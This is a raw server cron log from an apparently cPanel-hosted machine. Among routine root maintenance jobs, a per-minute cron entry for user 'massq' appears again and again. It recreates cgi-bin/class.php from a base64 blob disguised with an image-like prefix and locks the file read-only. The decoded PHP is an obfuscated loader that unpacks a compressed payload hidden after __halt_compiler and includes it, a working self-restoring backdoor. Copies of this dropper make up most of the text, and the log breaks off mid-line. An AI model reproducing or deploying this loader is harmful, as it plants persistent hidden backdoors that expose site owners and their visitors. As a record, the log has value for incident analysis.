Sep  8 04:40:01 server CROND[7180]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:40:01 server CROND[7181]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 04:40:01 server CROND[7183]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 04:40:01 server CROND[7190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:40:01 server CROND[7189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:40:01 server CROND[7185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:40:01 server CROND[7192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:40:01 server CROND[7188]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 04:41:01 server CROND[8001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:41:01 server CROND[8002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:41:01 server CROND[8003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:42:01 server CROND[8388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:42:01 server CROND[8389]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 04:42:01 server CROND[8390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:42:01 server CROND[8392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:43:01 server CROND[8860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:43:01 server CROND[8861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:43:01 server CROND[8862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:44:01 server CROND[9241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:44:01 server CROND[9240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:44:01 server CROND[9242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:45:01 server CROND[9614]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:45:01 server CROND[9615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:45:01 server CROND[9618]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:45:01 server CROND[9620]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 04:45:01 server CROND[9621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:45:01 server CROND[9622]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 04:45:01 server CROND[9623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:46:01 server CROND[10496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:46:01 server CROND[10497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:46:01 server CROND[10498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:47:01 server CROND[10869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:47:01 server CROND[10870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:47:01 server CROND[10871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:48:01 server CROND[11345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:48:01 server CROND[11346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:48:01 server CROND[11348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:49:01 server CROND[11720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:49:01 server CROND[11721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:49:01 server CROND[11722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:50:01 server CROND[12104]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:50:01 server CROND[12106]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 04:50:01 server CROND[12107]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 04:50:01 server CROND[12108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:50:01 server CROND[12111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:50:01 server CROND[12112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:50:01 server CROND[12113]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 04:50:01 server CROND[12110]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 04:50:01 server CROND[12109]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:51:01 server CROND[12960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:51:01 server CROND[12961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:51:01 server CROND[12962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLc